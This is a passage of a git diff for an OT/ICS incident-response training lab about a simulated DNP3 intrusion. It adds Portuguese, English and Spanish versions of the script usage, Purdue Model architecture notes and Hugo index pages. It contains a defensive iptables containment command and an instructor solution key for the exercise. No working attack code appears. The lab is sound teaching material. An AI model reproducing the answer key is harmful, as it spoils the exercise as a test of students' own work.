Respond, Recover*. +- CSIRT: Equipa de resposta a incidentes de segurança informática (*Computer Security Incident Response Team*). +- DNP3: Distributed Network Protocol version 3 — protocolo SCADA amplamente usado em serviços de eletricidade, água e óleo & gás. +- EWS: Estação de trabalho de engenharia (*engineering workstation*) — o host operado por engenheiros de controlo para configurar, programar e monitorizar dispositivos de campo. +- ICS: Sistema de controlo industrial (*industrial control system*). +- IDMZ: Zona desmilitarizada industrial (*Industrial Demilitarised Zone*) — o buffer de nível Purdue 3.5 que intermedeia todo o tráfego IT↔OT. +- IOC: Indicador de compromisso (*indicator of compromise*) — um artefacto observável de rede ou host que sugere uma intrusão. +- IR / IRP: Resposta a incidentes / plano de resposta a incidentes. +- NSM: Monitorização de segurança de rede (*network security monitoring*) — observação passiva do tráfego; o Zeek é uma ferramenta NSM. +- OT: Tecnologia operacional (*operational technology*). +- PERA / Purdue: Purdue Enterprise Reference Architecture — o modelo de referência em camadas (L0–L5) para segmentação de redes ICS. +- RTO / RPO: Objetivo de tempo de recuperação / objetivo de ponto de recuperação (*recovery time/point objective*). +- RTU: Unidade terminal remota (*remote terminal unit*) — o papel de dispositivo de campo tipicamente desempenhado por uma outstation DNP3. +- SCADA: Supervisão, controlo e aquisição de dados (*supervisory control and data acquisition*). +- [SP 800-61](https://csrc.nist.gov/pubs/sp/800/61/r3/final) / [SP 800-82](https://csrc.nist.gov/pubs/sp/800/82/r3/final): guias NIST para tratamento de incidentes e para segurança OT, respetivamente. + +## 🛠️ Utilização ``` Usage: ./OTLab16.sh -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status | -attack | -incident | -contain | -restore - -start Start the DNP3_IR environment using the specified distro (default: ubuntu) - Valid options: kali (rolling) or ubuntu (22.04) - -run Open a terminal inside the otlab-student (EWS) container - -clean Remove containers, volumes, and network (reverts all iptables rules) - -stop Stop all containers - -restart Restart previously stopped containers - -status Show current containers status - -attack Fire a single controlled attack scenario (scan | fingerprint | spoof) - -incident Replay the full kill-chain (scan → fingerprint → spoof) to open the incident - -contain Apply the reference containment: surgical DROP of the attacker into OT, - preserving the legitimate master→outstation poll - -restore Lift containment and return to the clean monitored state + -start Inicia o ambiente DNP3_IR usando a distro indicada (predefinição: ubuntu) + Opções válidas: kali (rolling) ou ubuntu (22.04) + -run Abre um terminal dentro do contentor otlab-student (EWS) + -clean Remove contentores, volumes e a rede (reverte todas as regras iptables) + -stop Para todos os contentores + -restart Reinicia contentores previamente parados + -status Mostra o estado atual dos contentores + -attack Dispara um único cenário de ataque controlado (scan | fingerprint | spoof) + -incident Repete a kill-chain completa (scan → fingerprint → spoof) para abrir o incidente + -contain Aplica a contenção de referência: DROP cirúrgico do atacante para OT, + preservando o poll legítimo master→outstation + -restore Levanta a contenção e regressa ao estado limpo e monitorizado ``` > [!NOTE] -> When run on **WSL2**, the script auto-detects the environment and applies the kernel-level rules (`bridge-nf-call-iptables=0` and two `DOCKER-USER` ACCEPT rules) needed for traffic to be routed across the two Docker bridges. `-contain` then applies its surgical `DROP` in the **EWS's own `FORWARD` chain** (via `docker exec`, no host `sudo`), and `-restore` removes it — a host `DOCKER-USER` rule would be silently inert under WSL2, since cross-bridge traffic is L2-switched. The cross-bridge `ACCEPT` rules require `sudo` and are reverted on `-clean`. On native Linux and macOS Docker Desktop the cross-bridge rules are skipped — see `IRPlaybookReference.md` for the containment details. - ---- +> Quando executado em **WSL2**, o script deteta automaticamente o ambiente e aplica as regras ao nível do kernel (`bridge-nf-call-iptables=0` e duas regras `DOCKER-USER` ACCEPT) necessárias para que o tráfego seja encaminhado entre as duas *bridges* Docker. O `-contain` aplica então o seu `DROP` cirúrgico na **própria chain `FORWARD` da EWS** (via `docker exec`, sem `sudo` no host), e o `-restore` remove-o — uma regra `DOCKER-USER` no host seria silenciosamente inerte em WSL2, já que o tráfego entre bridges é comutado a L2. As regras `ACCEPT` entre bridges requerem `sudo` e são revertidas no `-clean`. Em Linux nativo e no Docker Desktop do macOS as regras entre bridges são ignoradas — vê `IRPlaybookReference.md` para os detalhes da contenção. -## Solutions +## Soluções -This lab is **operational, not code-to-fill**: the student drives the incident through the `OTLab16.sh` verbs and records reasoning in `IR_Template.md`. The instructor key is the expected content of the three artefacts plus the reference containment: +Este laboratório é **operacional, não código-para-preencher**: o estudante conduz o incidente pelos verbos do `OTLab16.sh` e regista o raciocínio em `IR_Template.md`. A chave do instrutor é o conteúdo esperado dos três artefactos mais a contenção de referência: -- **Containment (reference):** a single surgical drop in the EWS `FORWARD` chain — `docker exec otlab-student iptables -I FORWARD 1 -s 192.168.21.30 -d 192.168.20.0/24 -j DROP` — inserted at the top so it wins over the forwarding rules. The master (192.168.21.20) keeps polling the outstation (192.168.20.10); only the attacker (192.168.21.30) loses its path into OT. This is what `-contain` applies and `-restore` removes. -- **Baseline check (all-clear criteria):** clean `notice.log`, endpoints and function codes back inside the OTLab14 allowlists, and telemetry in range (110–130 V, 0.5–15 A) with the breaker toggling on its ~100 s cadence. -- **Root cause:** USB-borne malware **+** flat IT/OT with no segmentation **+** dual-homed EWS bridging the two segments with no IDMZ. The recommended fix is the *target* architecture in `PurdueModelReference.md`. +- **Contenção (referência):** um único drop cirúrgico na chain `FORWARD` da EWS — `docker exec otlab-student iptables -I FORWARD 1 -s 192.168.21.30 -d 192.168.20.0/24 -j DROP` — inserido no topo para ganhar às regras de encaminhamento. O master (192.168.21.20) continua a consultar a outstation (192.168.20.10); apenas o atacante (192.168.21.30) perde o seu caminho para OT. É isto que o `-contain` aplica e o `-restore` remove. +- **Verificação de baseline (critérios de "tudo limpo"):** `notice.log` limpo, endpoints e códigos de função de volta dentro das allowlists do OTLab14, e telemetria nas gamas (110–130 V, 0,5–15 A) com o disjuntor a alternar na sua cadência de ~100 s. +- **Causa-raiz:** malware via USB **+** IT/OT plana sem segmentação **+** EWS dual-homed a fazer ponte entre os dois segmentos sem IDMZ. A correção recomendada é a arquitetura *alvo* em `PurdueModelReference.md`. diff --git a/OTLab16/OTLab16.sh b/OTLab16/OTLab16.sh index 907c327..b8ed7cf 100755 --- a/OTLab16/OTLab16.sh +++ b/OTLab16/OTLab16.sh @@ -36,7 +36,7 @@ show_banner() { echo "| | | | | | |__| .'| . | _| " echo "|_____| |_| |_____|__,|___|___| " printf "\033[1;37m" - printf "Exercise: DNP3 + Incident Response\n" + printf "Exercise: 16-DNP3 Protocol Emulation and Incident Response\n" printf "Version: 0.1\n" printf "Author: rafaelfarias\n" printf "\033[0m" diff --git a/OTLab16/PurdueModelReference-EN.md b/OTLab16/PurdueModelReference-EN.md new file mode 100644 index 0000000..76774be --- /dev/null +++ b/OTLab16/PurdueModelReference-EN.md @@ -0,0 +1,132 @@ +# Purdue Model Reference — current vs target architecture + +> The visual heart of OTLab16. Use it to place hosts on Purdue levels (Action 1), +> to name the abused conduit (Action 3), and to justify the remediation (Action 7). +> Companion file: `IRPlaybookReference-EN.md` (process). + +--- + +## 1. The Purdue model (PERA) in one screen + +| Level | Zone | Typical assets | +|-------------|---------------------------|------------------------------------------------------------------------| +| **L5 / L4** | Enterprise / Corporate IT | ERP, email, corporate apps, user PCs | +| **L3.5** | **Industrial DMZ (IDMZ)** | Firewalls, jump host, patch/historian mirror — the *only* IT↔OT broker | +| **L3** | Manufacturing Operations | Engineering workstation (EWS), historian, I/O server | +| **L2** | Supervisory Control | SCADA / HMI, DNP3 **master** | +| **L1** | Basic Control | PLCs, RTUs — the DNP3 **outstation** | +| **L0** | Physical Process | Sensors & actuators — the **feeder breaker** | + +The rule the model encodes: **traffic flows between adjacent levels through +controlled conduits**, and **all IT↔OT traffic is brokered through the L3.5 IDMZ**. +Skipping levels — or bridging IT straight to OT — is the anti-pattern this incident +exploits. + +## 2. This lab's hosts, mapped to Purdue (fill in Action 1) + +| Host (container) | IP | Purdue level | Note | +|-------------------------|---------------------------------|---------------------|-----------------------------------| +| Maria's PC / corporate | corp segment | L`{4/5}` | initial compromise (USB) | +| `dnp3-attacker` | 192.168.21.30 | L`{4/5}` | adversary foothold on corp | +| `otlab-student` (EWS) | 192.168.20.100 / 192.168.21.100 | L`{3}` ↔ dual-homed | **bridges IT↔OT — the violation** | +| `dnp3-master` | 192.168.21.20 | L`{2}` | sits on corp segment (smell) | +| `dnp3-outstation` (RTU) | 192.168.20.10 | L`{1}` | field device | +| feeder breaker | (simulated) | L`{0}` | physical process | + +## 3. Current architecture — *why the incident was possible* + +The EWS is **dual-homed** and forwards between IT and OT; there is no IDMZ, and the +DNP3 master sits out on the corporate segment. Maria's compromised PC therefore has +a transitive path all the way to the L1 outstation. + +```mermaid +flowchart TB + subgraph IT["Corporate / IT (L4-5)"] + Maria["Maria's PC
(compromised — USB)"] + Atk["dnp3-attacker
192.168.21.30"] + Mstr["DNP3 Master (L2)
192.168.21.20"] + end + EWS["EWS / otlab-student
dual-homed — bridges IT↔OT!
192.168.21.100 / 192.168.20.100"] + subgraph OT["OT (L0-1)"] + Out["Outstation / RTU (L1)
192.168.20.10"] + Brk["Feeder breaker (L0)"] + end + Maria -.pivot.-> Atk + Atk -->|"scan / fingerprint / spoof"| EWS + Mstr -->|"legit poll"| EWS + EWS --> Out --> Brk +``` + +> The attacker's path and the legitimate poll **share the same conduit** through the +> EWS. That is exactly why containment must be surgical (drop the attacker, keep the +> poll) and not a blanket corp↔OT cut. + +## 4. Target architecture — *how it should be (the remediation)* + +Introduce an **IDMZ at L3.5**, move the master down into OT (L2), make the EWS +OT-only, and force all IT↔OT traffic through a firewall + jump host. There is then +**no direct path** from a compromised corporate host to the outstation. + +```mermaid +flowchart TB + subgraph IT["Enterprise (L4-5)"] + Users["Corporate hosts"] + end + subgraph IDMZ["Industrial DMZ (L3.5)"] + FW["Firewall"] + Jump["Jump host / broker"] + end + subgraph OT["OT (L0-3)"] + EWS2["EWS (OT-only, L3)"] + Mstr2["Master (L2)"] + Out2["Outstation / RTU (L1)"] + Brk2["Feeder breaker (L0)"] + end + Users --> FW --> Jump --> EWS2 + EWS2 --- Mstr2 --> Out2 --> Brk2 +``` + +## 5. The through-line + +The incident was only possible because the **current** architecture violates the +Purdue model: no IT/OT separation and a dual-homed EWS acting as an uncontrolled +conduit. The cure delivered in Post-Incident (Action 7) is the **target** +architecture — the IDMZ and segmentation — which is also the MITRE ATT&CK for ICS +mitigation **M0930 Network Segmentation**. This closes the loop from *Respond* +(Action 4 cuts the conduit tactically) to *Improve* (Action 7 removes it +architecturally). + +## 6. Where the model strains — IIoT & the cloud (food for thought) + +The Purdue model assumes a tidy hierarchy with traffic flowing **only between +adjacent levels** through controlled conduits. That assumption was reasonable when +field devices were dumb and connectivity was scarce. IIoT and cloud integration +quietly break it — worth keeping in mind before treating "achieve Purdue" as the +end state rather than a baseline. + +- **Level-skipping by design.** An IIoT sensor that ships telemetry straight to a + cloud platform (MQTT/HTTPS out) collapses L0–L1 into L4-and-beyond in a single + hop. The neat L3.5 broker is bypassed not by an attacker but by the *intended* + data path. +- **The IDMZ stops being the only door.** Purdue's whole security argument rests on + IT↔OT traffic being funneled through one controlled choke point. Cloud-managed + devices, vendor remote-access agents, and "phone-home" firmware each open an + outbound conduit the IDMZ never sees. +- **North–south vs. east–west.** The model reasons about vertical flows between + levels; IIoT adds dense **east–west** chatter (device-to-device, device-to-broker) + and **outbound** cloud links that the layered diagram doesn't naturally express. +- **Trust boundary moves off-site.** When control logic or analytics live in a + SaaS/cloud tenant, part of L3/L4 now sits outside the plant entirely — the + perimeter you're defending no longer has a fence you own. +- **Blurred device identity.** A single IIoT gateway can simultaneously be a field + sensor (L0/L1), a protocol translator (L2/L3), and a cloud client (L4+). Placing + it on one Purdue level — the very first thing Action 1 asks you to do — stops + being a clean call. + +**So what?** The response isn't to discard Purdue but to layer **zero-trust / +ISA-62443 zones-and-conduits** thinking on top of it: identity- and policy-based +segmentation per flow, explicit allow-lists for outbound cloud conduits, and +treating each IIoT data path as a conduit that needs the same scrutiny as the EWS +bridge in this lab. The incident here was a *level-skipping* failure (a dual-homed +host); IIoT makes level-skipping the **default**, so the architectural cure in +Section 4 becomes a starting point, not the finish line. diff --git a/OTLab16/PurdueModelReference-ES.md b/OTLab16/PurdueModelReference-ES.md new file mode 100644 index 0000000..4ea7c56 --- /dev/null +++ b/OTLab16/PurdueModelReference-ES.md @@ -0,0 +1,134 @@ +# Purdue Model Reference — arquitectura actual vs objetivo + +> El corazón visual del OTLab16. Úsalo para colocar hosts en niveles Purdue (Acción 1), +> para nombrar el conduit abusado (Acción 3) y para justificar la remediación (Acción 7). +> Fichero compañero: `IRPlaybookReference-ES.md` (proceso). + +--- + +## 1. El modelo Purdue (PERA) en una pantalla + +| Nivel | Zona | Activos típicos | +|-------------|---------------------------|------------------------------------------------------------------------| +| **L5 / L4** | Empresa / IT Corporativo | ERP, email, aplicaciones corporativas, PCs de usuario | +| **L3.5** | **DMZ Industrial (IDMZ)** | Firewalls, jump host, espejo de patch/historian — el *único* intermediario IT↔OT | +| **L3** | Operaciones de Fabricación | Estación de trabajo de ingeniería (EWS), historian, servidor de I/O | +| **L2** | Control de Supervisión | SCADA / HMI, **master** DNP3 | +| **L1** | Control Básico | PLCs, RTUs — la **outstation** DNP3 | +| **L0** | Proceso Físico | Sensores y actuadores — el **interruptor de alimentador** | + +La regla que el modelo codifica: **el tráfico fluye entre niveles adyacentes a través +de conduits controlados**, y **todo el tráfico IT↔OT es intermediado por la IDMZ de +L3.5**. Saltar niveles — o conectar IT directamente a OT — es el anti-patrón que este +incidente explota. + +## 2. Los hosts de este laboratorio, mapeados a Purdue (rellenar en la Acción 1) + +| Host (contenedor) | IP | Nivel Purdue | Nota | +|-------------------------|---------------------------------|---------------------|-----------------------------------| +| PC de María / corporativo | segmento corporativo | L`{4/5}` | compromiso inicial (USB) | +| `dnp3-attacker` | 192.168.21.30 | L`{4/5}` | punto de apoyo del adversario en corp | +| `otlab-student` (EWS) | 192.168.20.100 / 192.168.21.100 | L`{3}` ↔ dual-homed | **hace puente IT↔OT — la violación** | +| `dnp3-master` | 192.168.21.20 | L`{2}` | está en el segmento corp (mala señal) | +| `dnp3-outstation` (RTU) | 192.168.20.10 | L`{1}` | dispositivo de campo | +| interruptor de alimentador | (simulado) | L`{0}` | proceso físico | + +## 3. Arquitectura actual — *por qué el incidente fue posible* + +La EWS está **dual-homed** y reenvía entre IT y OT; no hay IDMZ, y el master DNP3 +está fuera, en el segmento corporativo. El PC comprometido de María tiene, por tanto, +un camino transitivo hasta la outstation L1. + +```mermaid +flowchart TB + subgraph IT["Corporate / IT (L4-5)"] + Maria["Maria's PC
(compromised — USB)"] + Atk["dnp3-attacker
192.168.21.30"] + Mstr["DNP3 Master (L2)
192.168.21.20"] + end + EWS["EWS / otlab-student
dual-homed — bridges IT↔OT!
192.168.21.100 / 192.168.20.100"] + subgraph OT["OT (L0-1)"] + Out["Outstation / RTU (L1)
192.168.20.10"] + Brk["Feeder breaker (L0)"] + end + Maria -.pivot.-> Atk + Atk -->|"scan / fingerprint / spoof"| EWS + Mstr -->|"legit poll"| EWS + EWS --> Out --> Brk +``` + +> El camino del atacante y el poll legítimo **comparten el mismo conduit** a través de +> la EWS. Es exactamente por eso que la contención debe ser quirúrgica (dropear al +> atacante, mantener el poll) y no un corte total corp↔OT. + +## 4. Arquitectura objetivo — *cómo debería ser (la remediación)* + +Introducir una **IDMZ en L3.5**, bajar el master a OT (L2), hacer la EWS +exclusivamente OT y forzar todo el tráfico IT↔OT por un firewall + jump host. Deja de +existir **camino directo** de un host corporativo comprometido a la outstation. + +```mermaid +flowchart TB + subgraph IT["Enterprise (L4-5)"] + Users["Corporate hosts"] + end + subgraph IDMZ["Industrial DMZ (L3.5)"] + FW["Firewall"] + Jump["Jump host / broker"] + end + subgraph OT["OT (L0-3)"] + EWS2["EWS (OT-only, L3)"] + Mstr2["Master (L2)"] + Out2["Outstation / RTU (L1)"] + Brk2["Feeder breaker (L0)"] + end + Users --> FW --> Jump --> EWS2 + EWS2 --- Mstr2 --> Out2 --> Brk2 +``` + +## 5. El hilo conductor + +El incidente solo fue posible porque la arquitectura **actual** viola el modelo +Purdue: sin separación IT/OT y con una EWS dual-homed actuando como conduit no +controlado. La cura entregada en el Post-Incidente (Acción 7) es la arquitectura +**objetivo** — la IDMZ y la segmentación — que es también la mitigación MITRE ATT&CK +for ICS **M0930 Network Segmentation**. Esto cierra el ciclo de *Respond* (la Acción 4 +corta el conduit tácticamente) a *Improve* (la Acción 7 lo elimina arquitectónicamente). + +## 6. Dónde el modelo se tensiona — IIoT & la nube (para reflexión) + +El modelo Purdue asume una jerarquía ordenada con tráfico fluyendo **solo entre +niveles adyacentes** por conduits controlados. Ese supuesto era razonable cuando los +dispositivos de campo eran "tontos" y la conectividad escasa. La integración IIoT y +nube lo rompe discretamente — vale la pena tenerlo en mente antes de tratar +"alcanzar Purdue" como el estado final en lugar de una baseline. + +- **Salto de niveles por diseño.** Un sensor IIoT que envía telemetría directamente a + una plataforma nube (MQTT/HTTPS hacia fuera) colapsa L0–L1 en L4-y-más-allá en un + único salto. El intermediario L3.5 elegante es evitado, no por un atacante, sino por + el camino de datos *previsto*. +- **La IDMZ deja de ser la única puerta.** Todo el argumento de seguridad de Purdue + se apoya en que el tráfico IT↔OT sea canalizado por un único punto de + estrangulamiento controlado. Dispositivos gestionados en la nube, agentes de acceso + remoto de proveedores y firmware "phone-home" abren cada uno un conduit de salida + que la IDMZ nunca ve. +- **Norte–sur vs este–oeste.** El modelo razona sobre flujos verticales entre niveles; + el IIoT añade densa conversación **este–oeste** (dispositivo-a-dispositivo, + dispositivo-a-broker) y enlaces **de salida** hacia la nube que el diagrama en capas + no expresa naturalmente. +- **La frontera de confianza se mueve fuera del sitio.** Cuando la lógica de control o + la analítica viven en un tenant SaaS/nube, parte de L3/L4 pasa a estar fuera de la + instalación — el perímetro que defiendes ya no tiene una valla que sea tuya. +- **Identidad de dispositivo difusa.** Un único gateway IIoT puede ser simultáneamente + un sensor de campo (L0/L1), un traductor de protocolo (L2/L3) y un cliente nube + (L4+). Colocarlo en un único nivel Purdue — lo primerísimo que la Acción 1 pide — + deja de ser una decisión limpia. + +**¿Y entonces?** La respuesta no es descartar Purdue, sino superponerle pensamiento de +**zero-trust / zonas-y-conduits ISA-62443**: segmentación basada en identidad y +política por flujo, allowlists explícitas para conduits de salida hacia la nube, y +tratar cada camino de datos IIoT como un conduit que necesita el mismo escrutinio que +el puente de la EWS en este laboratorio. El incidente aquí fue un fallo de *salto de +niveles* (un host dual-homed); el IIoT hace del salto de niveles el **estándar**, por +lo que la cura arquitectónica de la Sección 4 pasa a ser un punto de partida, no la +línea de meta. diff --git a/OTLab16/PurdueModelReference.md b/OTLab16/PurdueModelReference.md index 453124c..b5426b0 100644 --- a/OTLab16/PurdueModelReference.md +++ b/OTLab16/PurdueModelReference.md @@ -1,43 +1,43 @@ -# Purdue Model Reference — current vs target architecture +# Purdue Model Reference — arquitetura atual vs alvo -> The visual heart of OTLab16. Use it to place hosts on Purdue levels (Action 1), -> to name the abused conduit (Action 3), and to justify the remediation (Action 7). -> Companion file: `IRPlaybookReference.md` (process). +> O coração visual do OTLab16. Usa-o para colocar hosts em níveis Purdue (Ação 1), +> para nomear o conduit abusado (Ação 3) e para justificar a remediação (Ação 7). +> Ficheiro companheiro: `IRPlaybookReference.md` (processo). --- -## 1. The Purdue model (PERA) in one screen +## 1. O modelo Purdue (PERA) num ecrã -| Level | Zone | Typical assets | +| Nível | Zona | Ativos típicos | |-------------|---------------------------|------------------------------------------------------------------------| -| **L5 / L4** | Enterprise / Corporate IT | ERP, email, corporate apps, user PCs | -| **L3.5** | **Industrial DMZ (IDMZ)** | Firewalls, jump host, patch/historian mirror — the *only* IT↔OT broker | -| **L3** | Manufacturing Operations | Engineering workstation (EWS), historian, I/O server | -| **L2** | Supervisory Control | SCADA / HMI, DNP3 **master** | -| **L1** | Basic Control | PLCs, RTUs — the DNP3 **outstation** | -| **L0** | Physical Process | Sensors & actuators — the **feeder breaker** | +| **L5 / L4** | Empresa / IT Corporativo | ERP, email, aplicações corporativas, PCs de utilizador | +| **L3.5** | **DMZ Industrial (IDMZ)** | Firewalls, jump host, espelho de patch/historian — o *único* intermediário IT↔OT | +| **L3** | Operações de Fabrico | Estação de trabalho de engenharia (EWS), historian, servidor de I/O | +| **L2** | Controlo de Supervisão | SCADA / HMI, **master** DNP3 | +| **L1** | Controlo Básico | PLCs, RTUs — a **outstation** DNP3 | +| **L0** | Processo Físico | Sensores e atuadores — o **disjuntor de alimentador** | -The rule the model encodes: **traffic flows between adjacent levels through -controlled conduits**, and **all IT↔OT traffic is brokered through the L3.5 IDMZ**. -Skipping levels — or bridging IT straight to OT — is the anti-pattern this incident -exploits. +A regra que o modelo codifica: **o tráfego flui entre níveis adjacentes através de +conduits controlados**, e **todo o tráfego IT↔OT é intermediado pela IDMZ de L3.5**. +Saltar níveis — ou ligar IT diretamente a OT — é o anti-padrão que este incidente +explora. -## 2. This lab's hosts, mapped to Purdue (fill in Action 1) +## 2. Os hosts deste laboratório, mapeados a Purdue (preencher na Ação 1) -| Host (container) | IP | Purdue level | Note | +| Host (contentor) | IP | Nível Purdue | Nota | |-------------------------|---------------------------------|---------------------|-----------------------------------| -| Maria's PC / corporate | corp segment | L`{4/5}` | initial compromise (USB) | -| `dnp3-attacker` | 192.168.21.30 | L`{4/5}` | adversary foothold on corp | -| `otlab-student` (EWS) | 192.168.20.100 / 192.168.21.100 | L`{3}` ↔ dual-homed | **bridges IT↔OT — the violation** | -| `dnp3-master` | 192.168.21.20 | L`{2}` | sits on corp segment (smell) | -| `dnp3-outstation` (RTU) | 192.168.20.10 | L`{1}` | field device | -| feeder breaker | (simulated) | L`{0}` | physical process | +| PC da Maria / corporativo | segmento corporativo | L`{4/5}` | compromisso inicial (USB) | +| `dnp3-attacker` | 192.168.21.30 | L`{4/5}` | ponto de apoio do adversário em corp | +| `otlab-student` (EWS) | 192.168.20.100 / 192.168.21.100 | L`{3}` ↔ dual-homed | **faz ponte IT↔OT — a violação** | +| `dnp3-master` | 192.168.21.20 | L`{2}` | está no segmento corp (mau sinal) | +| `dnp3-outstation` (RTU) | 192.168.20.10 | L`{1}` | dispositivo de campo | +| disjuntor de alimentador | (simulado) | L`{0}` | processo físico | -## 3. Current architecture — *why the incident was possible* +## 3. Arquitetura atual — *porque o incidente foi possível* -The EWS is **dual-homed** and forwards between IT and OT; there is no IDMZ, and the -DNP3 master sits out on the corporate segment. Maria's compromised PC therefore has -a transitive path all the way to the L1 outstation. +A EWS está **dual-homed** e encaminha entre IT e OT; não há IDMZ, e o master DNP3 +está fora, no segmento corporativo. O PC comprometido da Maria tem, portanto, um +caminho transitivo até à outstation L1. ```mermaid flowchart TB @@ -57,15 +57,15 @@ flowchart TB EWS --> Out --> Brk ``` -> The attacker's path and the legitimate poll **share the same conduit** through the -> EWS. That is exactly why containment must be surgical (drop the attacker, keep the -> poll) and not a blanket corp↔OT cut. +> O caminho do atacante e o poll legítimo **partilham o mesmo conduit** através da +> EWS. É exatamente por isso que a contenção tem de ser cirúrgica (dropar o atacante, +> manter o poll) e não um corte total corp↔OT. -## 4. Target architecture — *how it should be (the remediation)* +## 4. Arquitetura alvo — *como deveria ser (a remediação)* -Introduce an **IDMZ at L3.5**, move the master down into OT (L2), make the EWS -OT-only, and force all IT↔OT traffic through a firewall + jump host. There is then -**no direct path** from a compromised corporate host to the outstation. +Introduzir uma **IDMZ em L3.5**, descer o master para OT (L2), tornar a EWS +exclusivamente OT e forçar todo o tráfego IT↔OT por uma firewall + jump host. Deixa +de existir **caminho direto** de um host corporativo comprometido para a outstation. ```mermaid flowchart TB @@ -86,47 +86,47 @@ flowchart TB EWS2 --- Mstr2 --> Out2 --> Brk2 ``` -## 5. The through-line - -The incident was only possible because the **current** architecture violates the -Purdue model: no IT/OT separation and a dual-homed EWS acting as an uncontrolled -conduit. The cure delivered in Post-Incident (Action 7) is the **target** -architecture — the IDMZ and segmentation — which is also the MITRE ATT&CK for ICS -mitigation **M0930 Network Segmentation**. This closes the loop from *Respond* -(Action 4 cuts the conduit tactically) to *Improve* (Action 7 removes it -architecturally). - -## 6. Where the model strains — IIoT & the cloud (food for thought) - -The Purdue model assumes a tidy hierarchy with traffic flowing **only between -adjacent levels** through controlled conduits. That assumption was reasonable when -field devices were dumb and connectivity was scarce. IIoT and cloud integration -quietly break it — worth keeping in mind before treating "achieve Purdue" as the -end state rather than a baseline. - -- **Level-skipping by design.** An IIoT sensor that ships telemetry straight to a - cloud platform (MQTT/HTTPS out) collapses L0–L1 into L4-and-beyond in a single - hop. The neat L3.5 broker is bypassed not by an attacker but by the *intended* - data path. -- **The IDMZ stops being the only door.** Purdue's whole security argument rests on - IT↔OT traffic being funneled through one controlled choke point. Cloud-managed - devices, vendor remote-access agents, and "phone-home" firmware each open an - outbound conduit the IDMZ never sees. -- **North–south vs. east–west.** The model reasons about vertical flows between - levels; IIoT adds dense **east–west** chatter (device-to-device, device-to-broker) - and **outbound** cloud links that the layered diagram doesn't naturally express. -- **Trust boundary moves off-site.** When control logic or analytics live in a - SaaS/cloud tenant, part of L3/L4 now sits outside the plant entirely — the - perimeter you're defending no longer has a fence you own. -- **Blurred device identity.** A single IIoT gateway can simultaneously be a field - sensor (L0/L1), a protocol translator (L2/L3), and a cloud client (L4+). Placing - it on one Purdue level — the very first thing Action 1 asks you to do — stops - being a clean call. - -**So what?** The response isn't to discard Purdue but to layer **zero-trust / -ISA-62443 zones-and-conduits** thinking on top of it: identity- and policy-based -segmentation per flow, explicit allow-lists for outbound cloud conduits, and -treating each IIoT data path as a conduit that needs the same scrutiny as the EWS -bridge in this lab. The incident here was a *level-skipping* failure (a dual-homed -host); IIoT makes level-skipping the **default**, so the architectural cure in -Section 4 becomes a starting point, not the finish line. +## 5. O fio condutor + +O incidente só foi possível porque a arquitetura **atual** viola o modelo Purdue: +sem separação IT/OT e com uma EWS dual-homed a atuar como conduit não controlado. A +cura entregue no Pós-Incidente (Ação 7) é a arquitetura **alvo** — a IDMZ e a +segmentação — que é também a mitigação MITRE ATT&CK for ICS **M0930 Network +Segmentation**. Isto fecha o ciclo de *Respond* (a Ação 4 corta o conduit +taticamente) para *Improve* (a Ação 7 remove-o arquiteturalmente). + +## 6. Onde o modelo se esforça — IIoT & a cloud (para reflexão) + +O modelo Purdue assume uma hierarquia arrumada com tráfego a fluir **apenas entre +níveis adjacentes** por conduits controlados. Esse pressuposto era razoável quando os +dispositivos de campo eram "burros" e a conectividade escassa. A integração IIoT e +cloud quebra-o discretamente — vale a pena ter isto em mente antes de tratar +"alcançar Purdue" como o estado final em vez de uma baseline. + +- **Salto de níveis por desenho.** Um sensor IIoT que envia telemetria diretamente + para uma plataforma cloud (MQTT/HTTPS para fora) colapsa L0–L1 em L4-e-além num + único salto. O intermediário L3.5 elegante é contornado, não por um atacante, mas + pelo caminho de dados *pretendido*. +- **A IDMZ deixa de ser a única porta.** Todo o argumento de segurança do Purdue + assenta em o tráfego IT↔OT ser canalizado por um único ponto de estrangulamento + controlado. Dispositivos geridos na cloud, agentes de acesso remoto de fornecedores + e firmware "phone-home" abrem cada um um conduit de saída que a IDMZ nunca vê. +- **Norte–sul vs este–oeste.** O modelo raciocina sobre fluxos verticais entre + níveis; o IIoT adiciona densa conversa **este–oeste** (dispositivo-a-dispositivo, + dispositivo-a-broker) e ligações **de saída** para a cloud que o diagrama em camadas + não expressa naturalmente. +- **A fronteira de confiança move-se para fora.** Quando a lógica de controlo ou a + analítica vivem num tenant SaaS/cloud, parte de L3/L4 passa a estar fora da + instalação — o perímetro que defendes já não tem uma cerca que seja tua. +- **Identidade de dispositivo difusa.** Um único gateway IIoT pode ser + simultaneamente um sensor de campo (L0/L1), um tradutor de protocolo (L2/L3) e um + cliente cloud (L4+). Colocá-lo num único nível Purdue — a primeiríssima coisa que a + Ação 1 pede — deixa de ser uma decisão limpa. + +**E então?** A resposta não é descartar o Purdue, mas sobrepor-lhe pensamento de +**zero-trust / zonas-e-conduits ISA-62443**: segmentação baseada em identidade e +política por fluxo, allowlists explícitas para conduits de saída para a cloud, e +tratar cada caminho de dados IIoT como um conduit que precisa do mesmo escrutínio que +a ponte da EWS neste laboratório. O incidente aqui foi uma falha de *salto de níveis* +(um host dual-homed); o IIoT torna o salto de níveis o **padrão**, por isso a cura +arquitetural da Secção 4 passa a ser um ponto de partida, não a linha de chegada. diff --git a/OTLab16/index.en.md b/OTLab16/index.en.md new file mode 100644 index 0000000..d43c831 --- /dev/null +++ b/OTLab16/index.en.md @@ -0,0 +1,20 @@ +--- +title: "Lab 16 - DNP3 Protocol Emulation and Incident Response" +description: "Work a live OT intrusion through the NIST SP 800-61r3 / CSF 2.0 lifecycle: triage, surgical containment that preserves the DNP3 process, recovery and a post-incident report." +categories: ["Laboratories"] +difficulty: "Advanced" +tags: ["OT", "ICS", "DNP3", "Incident Response", "NIST SP 800-61", "NIST SP 800-82", "CSF 2.0", "Purdue Model", "Containment", "SCADA"] +estimated_time: "90 min" +level: 4 +area: "response" +--- + +{{< readfile file="OTLab16-EN.md" >}} + +{{< code-preview title="📝 RESOLUTION" file="OTLab16.sh" >}} + +{{< collapsible title="📖 IR Playbook (NIST / OT)" file="IRPlaybookReference-EN.md" >}} + +{{< collapsible title="🗺️ Purdue Model (current vs target)" file="PurdueModelReference-EN.md" >}} + +{{< collapsible title="📋 Incident Report Template" file="IR_Template-EN.md" >}} diff --git a/OTLab16/index.es.md b/OTLab16/index.es.md new file mode 100644 index 0000000..85b18dc --- /dev/null +++ b/OTLab16/index.es.md @@ -0,0 +1,20 @@ +--- +title: "Lab 16 - Emulación del protocolo DNP3 y respuesta a incidentes" +description: "Gestionar una intrusión OT en 